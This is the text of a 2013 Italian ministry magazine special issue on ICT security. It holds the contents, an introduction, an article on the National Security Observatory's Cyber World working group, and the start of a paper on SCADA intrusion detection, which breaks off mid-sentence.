Scarica la rivista completa

Transcript

LA COMUNICAZIONE
Note Recensioni & Notizie
Pubblicazione dell’Istituto Superiore
delle Comunicazioni e delle
Tecnologie dell’Informazione
NUMERO SPECIALE
SICUREZZA ICT
Ministero dello SviluppoEconomico
Dipartimento per leComunicazioni
Istituto Superiore delle Comunicazioni
e delle Tecnologie dell’Informazione
Numero Unico - Anno 2013
Volume LIX
Redazione:
[email protected]
tel. 06 5444 4474 - fax 06 5410904
LA COMUNICAZIONE
Direttore:
Progetto grafico
e coordinamento:
Numero Unico Anno 2013
Vol. LIX
Impaginazione:
Rita Forsi
Roberto Piraino
Federico Filipponi
Corrado Pisano
Rita Forsi
5
Giorgio Maria Tosi Beleffi
7
L’OSSERV A TORIO PER LA SICUREZZA NA ZIONA LE ED IL
RUOLO DEL GRUPPO DI LA V ORO CYBER WORLD
13
UN’A NA LISI MULTIDIMENSIONA LE DI STA TI CRITICI PER
RILEV A RE INTRUSIONI NEI SISTEMI SCA DA
(Direttore dell’Istituto Superiore delle
Comunicazioni e delle Tecnologie
dell’Informazione)
(Ministero dello Sviluppo Economico)
Anna La Rosa
(Selex ES; Centro Alti Studi per la
Difesa, CeMiSS)
SOMMARIO
Ministero dello Sviluppo Economico Dipartimento per le Comunicazioni Istituto Superiore delle Comunicazioni e delle
Viale America, 201- 00144 Roma
www.mise.gov.it
www.isticom.it
Raoul Chiesa
INTRODUZIONE
(THE NATIONAL SECURITY OBSERVATORY AND THE ROLE OF THE
CYBER WORLD WORKING GROUP)
(Security Brokers Scpa)
Marco Donfrancesco
(Selex ES)
Roberto De Sortis
(Bl4ckSwan Srl)
Alfonso Montagnese
(Centro Alti Studi per la Difesa,
CeMiSS)
Alessio Coletta, Igor Nai
Fovino, Andrea Carcano,
Michele Guglielmi
(Global Cyber Security Centre)
Emilio Turani
(Stonesoft, società del Gruppo McAfee)
25
(STATE EVOLUTION ANALYSIS FOR DETECTING ATTACKS IN
SCADA SYSTEMS)
ISP CONTRO A ET: PROTEGGERSI DA LLE TECNICHE
A V A NZA TE DI EV A SIONE PER UN NUOV O CONCETTO DI
NETWORK SECURITY
(ISP VERSUS AET: PROTECTION AGAINST ADVANCED EVASION
TECHNIQUES FOR A NEW CONCEPT OF NETWORK SECURITY)
La comunicazione - Edizione speciale «Sicurezza ICT»
1
SOMMARIO
Fabio Bisogni,
Simona Cavallini
(Fondazione FORMIT)
35
EBUSINESS
COMPETENCE INDEX :
UNA METODOLOGIA PER LA DIA GNOSI DELLA MA TURITÀ
TECNOLOGICA DELLE PMI E UN’OPPORTUNITÀ PER SENSIBILIZZA RE LE IMPRESE V ERSO LA SICUREZZA
(EBUSINESS COMPETENCE INDEX:
A METHODOLOGY TO ASSESS THE SME’S TECHNOLOGY MATURITY AND
AN OPPORTUNITY TO INCREASE COMPANIES’ AWARENESS TOWARDS SECURITY ISSUES)
Marco Ivaldi
(Mediaservice)
Vincenzo Fioriti
Andrea Arbore
(Fondazione Ugo Bordoni)
Giancarlo Butti
(Banco Popolare)
E. Casalicchio
(Università di Roma “Tor Vergata”)
M. Caselli, A. Coletta, I.
Nai Fovino, A. Rigoni
(Global Cyber Security Center)
LA
51
LA PROTEZIONE TOPOLOGICA
GENERA ZIONE
61
PROTEZIONE DEI DA TI PERSONA LI: A GGIORNA MENTI NORMA TIV I.
LE CONSEGUENZE SUGLI A DEMPIMENTI FORMA LI E SUI SISTEMI
81
CERTIFICA ZIONE DELLA SICUREZZA
ICT CON OSSTMM
(ICT SECURITY CERTIFICATION WITH OSSTMM)
DA L
MA LWA RE DI PROSSIMA
(TOPOLOGICAL PROTECTION FROM THE NEXT GENERATION MALWARE)
INFORMA TIV I
(PROTECTING PERSONAL DATA: LATEST REGULATORY UPDATES .
THE FALL-OUT ON FORMAL PROCEDURES AND IT SYSTEMS)
STA BILITÀ , SICUREZZA E RESILIENZA DEL DNS E LORO IMPA TTO
SUL CONTROLLO DELLE INFRA STRUTTURE CRITICHE
(DOMAIN NAME SYSTEM HEALTH)
Igor Nai Fovino
101
V A LUTA ZIONE DELLA SICUREZZA DELLE INFRA STRUTTURE
CRITICHE, DEFINIZIONI E METODOLOGIA
Fabio Di Resta
113
LA FIRMA ELETTRONICA A V A NZA TA : IL V A LORE LEGA LE, LA
SICUREZZA E GLI A MBITI A PPLICA TIV I
(Global Cyber Security Center)
(Studio Legale Di Resta)
2
43
(SECURITY ASSESSMENT OF CRITICAL INFRASTRUCTURES, DEFINITIONS
METHODOLOGY)
(ADVANCED ELECTRONIC SIGNATURE: LEGAL EFFECTIVENESS,
SECURITY AND SCOPE)
La Comunicazione - Edizione speciale «Sicurezza ICT»
123
Andrea Draghetti
129
(PDCA Srl, partner di Security
Brokers SCpA)
(Over Security)
Gastone Nencini
135
Eva Chen
147
(Trend Micro Italy, Trend Micro
Southern Europe)
(Trend Micro Corp.)
LA CERTIFICA ZIONE DEI SISTEMI E DEGLI A UDITOR PER LA
SICUREZZA DELLE INFORMA ZIONI
SOMMARIO
Fabrizio Cirilli
(INFORMATION SECURITY MANAGEMENT SYSTEMS AND AUDITORS
CERTIFICATION)
SIMULA ZIONE DI UN PENETRA TION TEST
(PENETRATION TESTING SIMULATION)
TRENDS IN TA RGETED A TTA CKS
(ATTACCHI MIRATI: ANALISI E TENDENZE)
UNA NUOV A FRONTIERA (PER LA SICUREZZA ): LA SICUREZZA E
LA SUA EV OLUZIONE PER SUPPORTA RE LA V IRTUA LIZZA ZIONE E
IL CLOUD COMPUTING
(A BRAVE NEW (SECURITY) WORLD: HOW SECURITY IS CHANGING TO
SUPPORT VIRTUALIZATION AND CLOUD COMPUTING)
3
!"# 4
INTRODUZIONE
LA COMUNICAZIONE
Edizione Speciale «Sicurezza ICT»
INTRODUZIONE DEL DIRETTORE GENERALE DELL’ISTITUTO SUPERIORE DELLE
COMUNICAZIONI E DELLE TECNOLOGIE DELL’INFORMAZIONE
Ottobre 2013 è il mese della sicurezza informatica (EUROPEAN CYBER SECURITY MONTH).
Lo ha indicato ENISA, l’Agenzia Europea per la Sicurezza delle Reti e dell’Informazione, che opera a
sostegno della Commissione Europea.
L’iniziativa si prefigge la finalità di accrescere, con iniziative ad hoc, concentrate in questo mese, la consapevolezza in un ambito, quello della sicurezza informatica, che sta diventando sempre più cruciale specialmente se rapportato ai processi di sviluppo di ogni Paese.
Lo sviluppo delle reti di comunicazione elettronica, ma più in generale delle infrastrutture critiche informatizzate, impone la massima attenzione sulla loro resilienza affinché la capacità di resistere agli eventuali
attacchi costituisca un efficace strumento nel mantenere la fiducia nei servizi e nelle prestazioni che devono essere garantiti.
È proprio la “fiducia”, infatti, insieme alla “sicurezza” uno dei principali pillar dell’Agenda Digitale
Europea, poi ripreso dall’Agenda Digitale Italiana.
Verso questo obiettivo, sia le Pubbliche Amministrazioni che le imprese private dovranno indirizzare un
impegno sempre crescente nell’analisi e nella cura delle proprie reti, pur nella consapevolezza che il
momento storico può presentare oggettive difficoltà nel perseguire l’accelerazione che servirebbe.
L’impegno dovrà tuttavia essere reso visibile per consentire il dialogo con gli altri Paesi su basi di linguaggi ed iniziative comuni.
La crescita culturale dei cittadini non potrà prescindere da apposite iniziative di formazione sul tema della
sicurezza informatica.
Con un forte impegno comune, auspicabile quale risultato dell’aumento di consapevolezza dei rischi presenti in un mondo sempre più informatizzato, ma anche delle ineguagliabili potenzialità di sviluppo e crescita che il nuovo panorama offre, si riuscirà certamente a valorizzare e difendere adeguatamente il patrimonio, le risorse, le idee e le iniziative che rappresentano il vero asset strategico del nostro Paese.
Dott.ssa Rita Forsi
(Direttore Generale
Istituto Superiore delle Comunicazioni
e delle Tecnologie dell'Informazione)
Speciale Sicurezza ICT
5
!"# 6
Speciale Sicureza ICT
Giorgio Maria Tosi Beleffi1
Ministero dello Sviluppo Economico
Anna La Rosa2, 4
Selex ES, Roma
Centro Alti Studi per la Difesa, CeMiSS, Roma
Raoul Chiesa3
Security Brokers Scpa, Milano
Marco Donfrancesco2
Selex ES, Roma
Roberto De Sortis5
Bl4ckSwan Srl, Milano
Alfonso Montagnese6
Centro Alti Studi per la Difesa, CeMiSS, Roma
L’OSSERVATORIO PER LA SICUREZZA NAZIONALE ED IL RUOLO DEL GRUPPO DI
LAVORO CYBER WORLD
(THE NATIONAL SECURITY OBSERVATORY AND THE ROLE OF THE CYBER WORLD
WORKING GROUP)
Sommario
Dall’utilizzo delle nuove tecnologie - sempre più diffuse e
caratterizzate da una forte integrazione tra informatica e telecomunicazioni e, più in generale, dalla crescente sovrapposizione tra mondo cinetico e cyber, possono derivare implicazioni negative per la sicurezza nazionale e conseguenze svantaggiose per gli interessi strategici dello Stato. Al tempo stesso,
l’impiego di tali risorse offre significative opportunità per il
sistema-paese per conseguire obiettivi di rilevanza strategica nel
medio e lungo periodo. Occorre tenere a mente che si tratta di
sistemi “socio-tecnici”, in cui il fattore culturale gioca un ruolo
importante e delicato che evolve e si adatta di pari passo con i
progressi tecnologici. Lo studio del “mondo cyber”, le riflessioni sull’impiego delle tecnologie, così come quelle riguardanti il
Diritto, la Sociologia e l’Economia, deve essere considerato
uno strumento per un continuo progresso e, allo stesso tempo,
di conoscenza dell’“Altro cibernetico”. È dunque la conoscenza approfondita, completa e integrata, la prima arma per la
Sicurezza Nazionale. Il Gruppo di Lavoro “Cyber World”
dell’Osservatorio per la Sicurezza Nazionale Italiano
(OSN) è stato costituito proprio per svolgere un’attività di
studio e ricerca che integri il metodo socio antropologico con
quello del Diritto ed analizzi i nuovi sistemi tecnologici, senza
trascurare l’approfondimento attraverso le categorie
dell’Economia e l’indagine geopolitica.
A bstract
The use of new technologies, increasingly widespread and
characterized by a strong integration between information technology and telecommunications, and, more generally, by the
increasing overlap between kinetic and cyber world, can cause
negative implications for national security and detrimental consequences for a state’s strategic interests. The use of these technological resources offers, at the same time, significant opportunities for the State so as to achieve its strategic objectives. It
is fundamental to bear in mind that these are "socio-technical"
systems, where the cultural factor plays an important and delicate role which evolves and adapts at the same rate of technological advances. Studying the "cyber world" and reflecting on
the use of technologies, as well as law, sociology and economics,
must be seen as a tool for continuous progress and for the knowledge of the "Other cybernetic". Therefore, a complete and
integrated knowledge is the first weapon for the protection of
national security. The Working Group "Cyber World" of the
Osservatorio per la Sicurezza Nazionale – OSN – (Italian
Observatory for National Security - ONS) was established
precisely to carry out studies and research activities able to
integrate the social and anthropological approach with that of
law, an approach which could analyse the new technological
systems without leaving behind economic and geopolitical investigations.
1Ministero dello Sviluppo Economico, via Molise 2, Rome, 00187, Italy, Tel: +390620434454, [email protected]
2Selex ES, via Tiburtina 12400 00131Roma, Tel: +390815272111,Fax:+390818687552., [email protected]
3Security Brokers Scpa, Via G. Frua, 16 - 20146 Milano, Italy, Tel: 08035660961, [email protected]
4Centro Alti Studi per la Difesa, CeMiSS, piazza della Rovere 83 00165 Roma, Tel: +39, [email protected]
5Bl4ckSwan Srl, Via Morigi 11, 20123 Milano, Tel: +390280509454, Fax:+39028051220, [email protected]
6Centro Alti Studi per la Difesa, CeMiSS, Roma, [email protected]
7
G. M. Tosi Beleffi, A. La Rosa, R. Chiesa, M. Donfrancesco, R. De Sortis, A. Montagnese
1. Introduzione
Il Centro Alti Studi per la Difesa (CASD) è l'organismo di studio di più alto livello nel campo della
formazione dirigenziale e degli studi di sicurezza e di
difesa. Organicamente risulta ordinato in una
Presidenza, che si avvale di uno Stato Maggiore per il
supporto generale ed il coordinamento delle attività
di interesse comune delle tre componenti autonome:
l'Istituto Alti Studi per la Difesa (IASD), l'Istituto
Superiore di Stato Maggiore Interforze (ISSMI) e il
Centro Militare di Studi Strategici (CeMiSS).
In questo contesto l’Osservatorio per la Sicurezza
Nazionale (OSN), progetto di ricerca promosso dal
(CeMiSS) in collaborazione con Selex Sistemi
Integrati, si pone in una prospettiva di condivisione
rappresentando un tavolo dove attori provenienti dal
settore pubblico e da quello privato affrontano i temi
della sicurezza nazionale secondo una molteplicità di
dimensioni ed una pluralità di discipline.
La sicurezza, nella sua più ampia accezione del
termine, viene infatti percepita, giorno dopo giorno,
sempre più come un fattore di rilevanza strategica.
Un elemento cardine a sigillo della coesione
sociale sia a livello Nazionale che Internazionale. In
un contesto di tale portata diviene centrale una corretta informazione/formazione che approfondisca,
in modo semplice e diretto, i temi in questione facilitando la comprensione e diffondendo una cultura
comune sia nel settore pubblico che in quello privato.
Creare una “cultura della sicurezza”, insieme a strumenti per il suo mantenimento e con un metodo di
lavoro partecipato, teso a valorizzare la multidisciplinarietà e la cross-fertilization delle competenze, rappresenta un valore imprescindibile nello scenario globalizzato dei nostri tempi.
2. Il Gruppo di Lavoro Cyber World
La complessità del terreno di studio impone un
metodo integrato e interdisciplinare che assuma due
distinti attributi: una relativa indipendenza da un
approccio settoriale e dai metri di misura di una singola disciplina o ambito, ed una osservazione olistica
del campo.
8
Fig.1 Suddivisione dell’Osservatorio per la Sicurezza Nazionale con particolare riferimento al Gruppo di Lavoro Cyber World.
Per tali motivi, il gruppo di lavoro è stato suddiviso in aree di ricerca all’interno delle quali oggi vengono studiati gli aspetti Giuridici, Normativi ed
Umanitari; Terminologici e Tecnologici; SocioAntropologici, Geopolitici Economici e Finanziari.
La suddivisione in gruppi ha permesso fin da
subito di individuare, in modo preciso e puntuale, i
temi chiavi dello studio e della ricerca.
Si ricordano, ad esempio, gli aspetti del diritto
Internazionale senza tralasciare le tematiche del diritto comparato, del ruolo rivestito dagli organismi
internazionali quali la NATO e la UE. Non meno
importanti risultano le attività relative alla definizione
di un glossario condiviso, alla predisposizione di
indagini differenziate sulle politiche nazionali e sulle
strategie inerenti la sicurezza cibernetica, unitamente
ad una lista di buone pratiche da seguire, riferite a
casi di studio mirati.
La definizione di un Security Cost Model, l’identificazione degli asset aziendali come possibile target,
l’analisi dell’economia degli attacchi nel suo complesso, rappresentano temi importanti nell’attuale scenario dominato da continui turbamenti dei mercati.
Una analisi a 360°, inoltre, non può non considerare
l’importanza ed il ruolo dei Social Media, definendone il funzionamento ed il possibile utilizzo attivo
nelle dinamiche di massa (orientamento delle menti).
Inizialmente partito con l’adesione di 15 Enti
(Maggio 2011), il GdL Cyber World dell’OSN vede a
Ottobre 2013, con un trend positivo di sviluppo e
accrescimento, la partecipazione di 43 organizzazioni suddivise tra istituzioni pubbliche, università ed
aziende. Un bacino potenziale di 82 partecipanti tra
L’OSSERVATORIO PER LA SICUREZZA NAZIONALE ED IL RUOLO DEL GRUPPO DI LAVORO CYBER WORLD
(THE NATIONAL SECURITY OBSERVATORY AND THE ROLE OF THE CYBER WORLD WORKING GROUP)
Fig.2 Tematiche toccate dal GdL CyberWorld (sinistra); alcuni screen-shot delle attività del gruppo (destra).
avvocati, ingegneri, sociologi, analisti, professori e
personale militare di tutti i livelli e competenze. Non
viene tralasciato l’aspetto sociale con la presenza di
due gruppi su linkedin e facebook cui afferiscono
rispettivamente 161 e 253 partecipanti.
Al momento il GdL ha organizzato 15 incontri
interni, 4 conferenze, pubblicato 2 articoli ed 1 libro,
edito da Hoepli, sugli aspetti cyber. Inoltre dal 2012
il gruppo cura gli aspetti di natura cibernetica all’interno delle esercitazioni di sicurezza nazionale CPX
(esercitazioni per posti di comando) nell’ambito del
corso di Cooperazione Civile e Militare organizzato
dall’ISSMI-CASD.
3. Esperienze apprese e prospettive future,
focus sul social
Nonostante sia trascorso già un decennio dalla
loro prima comparsa sulla rete internet, i Social
Media sono in continua e rapida evoluzione.
Comprenderne le dinamiche di utilizzo ed i meccanismi di funzionamento diviene conditio sine qua non
per poterne misurare l’impatto attuale e a lungo termine sulla sicurezza nazionale. Negli ultimi anni
sono nate e si sono consolidate in questo senso
numerose partnership tra apparati di intelligence
occidentali e aziende private per lo studio e l’analisi
dei Social Media per finalità di sicurezza nazionale1.
La In-Q-Tel2, società di venture capital della
Central Intelligence Agency (CIA), ha finanziato di
recente, ad esempio, la Visible Technologies3, una
azienda produttrice di software specializzata nelle
attività di monitoraggio dei Social Media.
Per comprendere le effettive potenzialità dei
Social Media come strumento previsionale e coglierne la flessibilità di utilizzo, può essere utile menzionare tre progetti, adottati con successo in differenti
campi:
• la Hewlett Packard, mediante il suo gruppo di
ricerca e sviluppo HP Labs164, è riuscita a
prevedere accuratamente gli incassi al box office dei film appena usciti nelle sale cinematografiche negli USA, utilizzando dei sofisticati
algoritmi per analizzare e processare dati, precedentemente estrapolati da Twitter4;
• la Division of Information & Intelligent Systems
della National Science Foundation5, a settembre
2011 ha stanziato delle risorse finanziarie per
promuovere una ricerca, denominata RAPID
– Eathquake Damage Assessment from Social
Media, finalizzata a valutare in tempo reale, o
comunque in tempi ridottissimi, l’entità dei
danni derivanti dai terremoti sfruttando i dati
rilevabili dai Social Media6 ;
• alcuni ricercatori della School of Informatics and
Computing dell’Indiana University e della School of
Computer Science dell’University of Manchester
hanno effettuato una ricerca volta a verificare
se, e con quale accuratezza, Twitter può essere utilizzato per fare previsioni.
Con particolare riferimento agli apparati preposti
1M.
Papic, S. Noonas,(2011), Social.
2http://www.wired.com/dangerroom/tag/in-q-tel
3http://www.visibletechnologies.com
4Markoff
J., (2011), Government…cit.
5http://www.nsf.gov
6Markoff
J., (2011), Government…cit.
9
alla sicurezza nazionale, l’utilizzo dei Social Media,
eventualmente progettati e/o modificati per lo specifico settore, oltre a fornire un contributo significativo nel campo dell’analisi previsionale e del contrasto
alle minacce emergenti (organizzazioni terroristiche,
gruppi eversivi, criminalità organizzata, crackers,
movimenti di rivolta, , etc.), rappresenta un’importante opportunità per completare l’evoluzione organizzativa e funzionale del comparto, che si sta gradualmente muovendo dal principio del «need-to-know»
a quello del «need-to-share».
Tale trasformazione prevede che le informazioni
debbano essere rese disponibili non solo a chi ne ha
l’effettiva necessità, ma anche a chi ne potrebbe avere
potenzialmente bisogno. E’ chiaro che tale tipo di
evoluzione organizzativo-funzionale deve essere
accompagnata da una corretta analisi dei rischi e dalla
conseguente adozione di misure di sicurezza idonee
ad evitare che informazioni sensibili fuoriescano
dalla sfera di conoscenza degli apparati preposti alla
sicurezza nazionale.
Con specifico riferimento alle Forze Armate ed
agli apparati d’intelligence, i Social Media, se adeguatamente impiegati, possono divenire uno strumento di
comunicazione e di information sharing molto efficace,
soprattutto in contesti operativi caratterizzati dalla
presenza di differenti organismi dello stesso Stato
e/o di contingenti di differenti Stati, dove sono
richiesti rapidissimi meccanismi di coordinamento e
condivisione informativa.
In tale ottica, il Col. Mayfield, Capo dell’Ufficio
Piani (G3) del Quartier Generale dello US Army in
Europa (USAREUR), ha sostenuto che: “a proactive
and innovative Social Media strategy using social networking,
blogs, and Twitter-like capabilities can aid commanders in
ensuring all concerned entities in the theater of operations are
sharing the necessary information to work toward a common
goal”.
Venerdì 18 Novembre 2011, alle 2:02 del mattino,
la rivista Wired, pubblica un articolo on line dal titolo
“H(ackers)2O: Attack on City Water Station Destroys
Pump”7 . La notizia riporta che non meglio precisati
hackers, introdottisi remotamente nei sistemi di controllo di una centrale idrica della città di Springfield,
hanno distrutto una pompa dell’acqua.
L’attacco è stato scoperto l’8 novembre, quando
10
un dipendente ha notato problemi nei sistemi
SCADA8 . La continua accensione e il continuo spegnimento del sistema hanno prodotto il malfunzionamento nella pompa, portandola al fuori servizio.
In accordo con il rapporto denominato “Public Water
District Cyber Intrusion”, rilasciato il 10 Novembre
dallo STIC 9 , ci sono evidenze che attacker potrebbero aver avuto accesso al sistema già ad inizio settembre.
Questa notizia, nel giro di poche ore, ha fatto il
giro del mondo con interventi da parte delle maggiori testate tra cui ABC@CBN, Reuters, Yahoo.com,
Daily Northwestern, France Press, Toronto Star,
Guardian, CNN, Washington Post. Il 30 Novembre,
sempre la rivista Wired, esce con il titolo “Exclusive:
Comedy of Errors Led to False ‘Water-Pump Hack’
Report”.
In particolare, sono trascorsi 16 giorni da quando
il personale della Curran-Gardner Township Public Water
District - su indicazione del tecnico del computer
chiamato a controllare i sistemi SCADA - si accorge
di una anomalia nei log della rete, a quando il CERTICS emette il bollettino di cessato pericolo in quanto
il fatto non sussiste.
Ed in questi 16 giorni le voci si rincorrono, così
come le interviste a membri del congresso, CEOs di
industrie del settore e sedicenti esperti di Cyber
Security. Il grande risalto dato alla notizia nelle fasi iniziali sembra suggerire la necessità di evidenziare, nei
confronti dell’opinione pubblica, come dopo il caso
“Stuxnet” anche gli Stati Uniti e le sue infrastrutture
critiche possano essere soggetti a rischio. In realtà,
questa tendenza, ad enfatizzare gli attacchi SCADA,
sembra corroborata anche dalle affermazioni di
Michael Welch (appartenente alla Cyber Division
dell’FBI) che durante la Flemings Cyber Security
7http://www.wired.com/threatlevel/2011/11/hackers-destroy-water-
pump/
8SCADA
“Supervisory Control and Data Acquisition System”
Statewide Terrorism & Intelligence Center (STIC) ha sede in
Springfield, Illinois, ed è il Centro delle Operazioni aperto 24h al giorno
7 giorni su 7 della Polizia di Stato dell’Illinois e dello Stato dell’Illinois. E’
formato da analisti dell’Intelligence, specialisti nelle “Operations” provenienti dalle Agenzie di Law Enforcement Federali, dello Stato e Locali. La
missione è quella di fornire continuamente informazioni ai partner pubblico
private attraverso lo Stato dell’Illinois, per aumentare la sicurezza pubblica, facilitare la comunicazione tra le agenzie e fornire supporto nella lotta
contro le attività criminali e contro il terrorismo.
9Lo
L’OSSERVATORIO PER LA SICUREZZA NAZIONALE ED IL RUOLO DEL GRUPPO DI LAVORO CYBER WORLD
(THE NATIONAL SECURITY OBSERVATORY AND THE ROLE OF THE CYBER WORLD WORKING GROUP)
Conference di Londra e recepite da Information Age, ha
evidenziato come recentemente altre 3 città americane (non chiaramente identificate) siano state oggetto
di violazione di sistemi SCADA.
Quanto sopra descritto rappresenta un caso di
studio emblematico in un “territorio” sufficientemente nuovo: la “pubblica gestione” di un incidente
informatico, dal punto di vista dei media e del “PR”
o Public Relations. Il “sensazionalismo” che a volte
caratterizza la divulgazione di queste informazioni è,
per chi scrive, sintomo di una sempre maggiore
necessità di giustificare allocazione di extra budget
per il comparto Cyber Security, soprattutto in un quadro macro economico congiunturale in cui vengono
richiesti tagli al comparto difesa.
La sicurezza informatica rappresenta un settore
in forte crescita, sia per quanto riguarda gli investimenti che per le strutture. Ne è un esempio la divisione Cyber Security dell’FBI che programma di raddoppiare l’organico nei prossimi 12 / 18 mesi, ma
anche la recente nota ufficiale del governo inglese
che evidenzia la realizzazione di un joint cyber center in grado di portare in essere azioni sia di difesa
che di attacco con un finanziamento dichiarato di
800M$.
4. Conclusioni
Le nuove regole d’ingaggio richieste per affrontare i rischi e le opportunità che nascono dal mondo
cyber necessitano di approcci multidisciplinari integrati e tempi di risposta molto veloci.
Contrariamente a quanto può apparire da una lettura superficiale, l’approccio per gestire correttamente queste tematiche richiede la contemporanea presenza di competenze tecniche, legali e socio economiche.
Gli eventi che nascono nel mondo “virtuale”
hanno sempre effetti nel mondo reale che difficilmente possono essere previsti con sistemi previsionali “meccanicistici”.
L’opportunità unica di creare un luogo di incontro e di scambio multidisciplinare e multisettoriale
consente quindi la possibilità di estendere l’ambito di
analisi alle metodologie analitiche, per fornire una
lettura multidimensionale delle problematiche oggetto d’indagine.
La sicurezza dello “spazio cibernetico” ha inoltre
oggi raggiunto una connotazione strategica assolutamente comparabile con quella della protezione dello
spazio fisico, tanto da rappresentare una delle maggiori preoccupazioni e fonti di investimento da parte
dei principali attori mondiali.
La trasposizione dei concetti tra mondo cyber e
mondo reale (cinetico) richiede un’attenta riflessione: alcuni concetti, tra cui per esempio quello di
“guerra”, che apparentemente può sembrare comune, hanno declinazioni completamente diverse se
affrontati nel mondo reale e nel mondo virtuale
(basti solo pensare alla chiara identificazione di chi
sta attaccando e da dove, ovverosia la c.d. “attribuzione della fonte”).
Inoltre, gli eventi generati nel mondo virtuale - e
quindi basati sulle informazioni (disponibilità o indisponibilità, vere o false) - oggi condizionano drammaticamente la sfera “fisica” del mondo politico e
sociale, (si pensi ad esempio ai movimenti della
Primavera Araba o delle manifestazioni anti governative in Iran) e la sfera economica (si pensi all’incidenza che alcune informazioni hanno sull’andamento dei titoli di mercato e le relative conseguenze a
livello di paese).
Questa dipendenza e amplificazione degli effetti
reali da quelli informativi richiede una sempre più
attenta riflessione sulla qualità delle informazioni e
sulle metodologie e sui limiti di controllo necessari
per identificare e reprimere i comportamenti ritenuti antisociali o lesivi degli interessi nazionali.
Questo tema, legato alla militarizzazione dello
spazio cyber e alle tematiche di controllo e limitazione della libertà di informazione, dovrà sempre essere affrontato tenendo presente il rispetto delle libertà democratiche e del concetto di privacy che caratterizzano la nostra società democratica.
Tali riflessioni dovranno essere inoltre estese a
quei processi e a quelle attività di partnership che
sempre più spesso caratterizzano le collaborazioni
operative tra ambienti civili e militari soprattutto nel
campo della ricerca e sviluppo di soluzioni tecnologicamente avanzate.
11
Ringraziamenti
Gli autori intendono ringraziare tutti gli appartenenti al
gruppo di lavoro Cyber World costituito all’interno del progetto di ricerca OSN.
12
A. Coletta, I. Nai Fovino, A. Carcano, M. Guglielmi
Global Cyber Security Center (GSEC)
UN’ANALISI MULTIDIMENSIONALE DI STATI CRITICI PER RILEVARE INTRUSIONI
NEI SISTEMI SCADA
(STATe evoLUTIoN ANALySIS foR DeTeCTINg ATTACkS IN SCADA SySTeMS)
Sommario
Una tendenza relativamente nuova nelle Infrastrutture
Critiche (es., centrali elettriche, centrali nucleari, rete di distribuzione, ecc.) è la migrazione di massa dal classico modello di
sistemi isolati, ad un modello di sistema-di-sistemi in cui le
infrastrutture stanno intensificando le interconnessioni basate
su tecnologie ICT. Il cuore ICT di questi impianti industriali è conosciuto come Supervisory Control And Data
Acquisition Systems (SCADA). Le contromisure di sicurezza ICT tradizionali (es., firewall classici, anti-virus e IDS)
non riescono a fornire una protezione completa per questi sistemi, in quanto le loro esigenze sono diverse da quelle dei sistemi ICT tradizionali. Questo articolo presenta un approccio
innovativo per il rilevamento delle intrusioni di rete in sistemi
SCADA basato sul concetto di analisi di stati critici e di
prossimità da questi stati. Il framework teorico presentato è
supportato da test effettuati con un prototipo di Intrusion
Detection System (IDS) che implementa l’approccio proposto.
1. Introduzione
Negli ultimi anni l’uso di Information and
Communication Technology (di seguito ICT) nei sistemi
industriali è aumentato enormemente, con un impatto drammatico sulla loro sicurezza. In questo lavoro
l’attenzione è rivolta alla sicurezza dei sistemi
SCADA (Supervisory Control and Data Acquisition). I
sistemi SCADA sono ampiamente usati negli
impianti industriali per il controllo e manutenzione
dei sensori e degli attuatori. I componenti di base che
caratterizzano un sistema SCADA sono: (a) Master
Terminal Units (MTU) che presentano i dati agli operatori, raccolgono i dati dalla rete di campo e trasmettono i segnali di controllo; (b) Remote Terminal
Unit (RTU), che inviano segnali di controllo ai dispositivi elettronici, acquisiscono dati da questi diSpeciale Sicurezza ICT
A bstract
Modern industrial systems (e.g., power plants, water
plants, chemical installations, etc.) make increasing use of
ICT technologies. In the last years, those systems started to use
public networks (i.e., the Internet) for system-to-system interconnections. The core of these industrial installations is traditionally a SCADA (SystemControl And Data Acquisition)
system. The characteristics of SCADA communication protocols and architectures are quite different from classical ICT
devices, protocols and systems. For this reason, at the moment,
traditional ICT security technologies are not able to effectively
protect industrial systems in an adequate way against ad-hoc
SCADA-tailored attacks. In this work we propose a novel
approach to Intrusion Detection for SCADA systems based
on the idea of Critical State Analysis. The presented theoretical framework is supported by tests made using an Intrusion
Detection System (IDS) prototype implementing the proposed
approach.
spositivi, ricevono i comandi dagli MTU e trasmettono i dati alle MTU. La maggior parte delle vulnerabilità SCADA è legata ai protocolli di comunicazione
utilizzate per lo scambio di comandi e dati tra i dispositivi master e slave.
Le tecnologie di sicurezza ICT tradizionali non
sono in grado (come dimostrato in [1]) di proteggere in modo efficace i sistemi industriali da attacchi
ideati su misura dei sistemi SCADA. In questo lavoro viene presentato un nuovo approccio per rilevare
attacchi ICT ai sistemi SCADA basato sul concetto
di Analisi di Stati Critici. Le seguenti osservazioni
sono alla base di questo approccio:
1) date le conseguenze di possibili incidenti, i
sistemi industriali sono soggetti a processi di
analisi della sicurezza, e quindi i possibili stati
critici sono ben documentati. Inoltre, gli stati
13
critici possono essere considerati, per minimi
sottosistemi, di numero finito e conosciuti a
priori;
2) un attaccante che vuole danneggiare un sistema industriale deve interferire con lo stato dell’installazione, ad esempio forzando una transizione del sistema da uno stato sicuro ad uno
stato critico;
3) monitorando l’evoluzione degli stati di una
centrale, e tracciando se il processo industriale
sta entrando in un sistema critico, è possibile
rilevare tutte quelle tipologie di attacco (conosciuti o sconosciuti) che tentano di portare il
sistema in uno stato critico usando una catena
di comandi leciti;
4) nelle architetture SCADA, il principale vettore
di attacchi informatici è il flusso di comandi di
rete.
Dal momento che il sistema IDS proposto tiene
traccia della sequenza di pacchetti che porta il sistema in uno stato critico, salvando i dettagli dei pacchetti su un database remoto e usando la metrica di
distanza per far partire il log della tale sequenza, è
possibile discriminare tra gli stati critici dovuti ad
attacchi informatici e quelli dovuti a malfunzionamenti o attacchi fisici. Questo approccio è stato
introdotto per sopperire all’incapacità delle tecniche
IDS tradizionali di rilevare le particolari tipologie di
attacchi su SCADA basati su catene di comandi legittimi.
2. Lavori correlati
Quello dell’Intrusion Detection è un campo di ricerca ben definito. Nel caso dei sistemi SCADA, tuttavia, solo di recente sono stati rilasciati una serie di
regole ad hoc e di moduli di pre-processing [2] in
grado di rilevare alcuni tipi di attacchi ai protocolli
SCADA. Con queste regole un sistema di Network
Intrusion Detection (NIDS) è in grado di identificare
solo gli attacchi basati su un singolo pacchetto di
rete; tuttavia gli attacchi SCADA raramente sfruttano
un singolo pacchetto ([1], [7], [8], [9]); di conseguenza è necessario un meccanismo di correlazione dell’attacco. gross et al. [3] hanno proposto un meccanismo “collaborativo” di intrusion detection (“selecticast”) che utilizza un server centralizzato per l'invio
